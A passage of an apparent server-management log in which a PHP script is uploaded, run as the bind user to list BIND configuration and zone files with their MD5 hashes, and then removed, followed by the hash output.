	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 12:28:36: 

runuser -l bind -s /bin/bash -c '/tmp/pkp323972; rm /tmp/pkp323972'

2026-04-22 12:28:36: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 12:28:36: Establishing a connection
2026-04-22 12:28:36: 

PUT: /tmp/pkp214719

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 12:28:36: 

runuser -l bind -s /bin/bash -c '/tmp/pkp214719; rm /tmp/pkp214719'

2026-04-22 12:28:36: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
